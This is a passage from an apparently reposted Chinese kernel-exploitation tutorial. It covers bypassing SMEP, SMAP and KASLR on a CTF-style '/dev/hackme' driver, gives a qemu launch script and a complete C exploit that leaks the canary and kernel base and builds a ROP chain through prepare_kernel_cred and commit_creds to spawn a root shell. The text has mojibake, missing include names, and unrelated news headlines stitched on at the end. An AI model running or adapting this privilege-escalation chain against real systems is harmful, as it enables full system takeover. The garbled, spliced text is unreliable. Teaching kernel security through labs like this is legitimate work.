但是如果遇到長度不夠時,就能夠?qū)_w移到用戶空間上了,因為在開啟SMAP保護的時候就沒有辦法訪問用戶空間。那么此時只能借助內(nèi)核的其他空間進行棧遷移,該手法利用比較復(fù)雜,因此留到以后再介紹。
KASLR與用戶態(tài)下的ASLR差不多,都是開啟了地址的隨機化,因此不能使用絕對地址。
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \ -s泄露內(nèi)核地址
通過泄露內(nèi)核的程序基地址,再加上函數(shù)的偏移即可繞過,與用戶態(tài)下的利用沒有區(qū)別。
exp
#include #include ?/*0xffffffff814c6410 T commit_creds -- [-3701815]0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]0xffffffff81006370: pop rdi; ret; -- [-8682711]0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]0xffffffff8150b97e: pop rsi; ret; -- [-3417801]0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}?void backdoor(){ puts("***getshell***"); system("/bin/sh");} int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }更多網(wǎng)安技能的在線實操練習(xí),請點擊這里>>
關(guān)鍵詞:
當(dāng)前觀點:kernel?pwn入門 Linux內(nèi)核是Linux操作系統(tǒng)的核心組件,它提供了操作系統(tǒng)的基本功能和服
國內(nèi)首家!人福醫(yī)藥子公司地奈德乳膏獲批藥品注冊證書|天天新視野 6月30日,人福醫(yī)藥(600079)發(fā)布公告稱,公司控股子公司人福成田收到國
這場民營經(jīng)濟高質(zhì)量發(fā)展大會上,徐匯區(qū)創(chuàng)新創(chuàng)業(yè)高校聯(lián)盟啟動成立|天天觀速訊 6月30日上午,徐匯區(qū)促進民營經(jīng)濟高質(zhì)量發(fā)展大會現(xiàn)場,上海創(chuàng)新創(chuàng)業(yè)青
阿柏西普8mg治療糖尿病黃斑水腫首次實現(xiàn)持續(xù)視力改善_全球快播報 7月3日,拜耳宣布關(guān)鍵臨床試驗PHOTON的兩年(96周)結(jié)果,該試驗研究阿
當(dāng)前訊息:這一天 在心中 7月1日黨的生日體悟初心使命汲取前行力量一代人有一代人的使命一代人有
每日聚焦:安家電視劇劇情介紹52集 安家第二部城家共53集 hello大家好,我是城鄉(xiāng)經(jīng)濟網(wǎng)小晟來為大家解答以上問題,安家電視劇劇
博杰股份(002975)每日收評(07-03)-天天即時看 個股每日收評*{margin:0;padding:0;}body{font-family: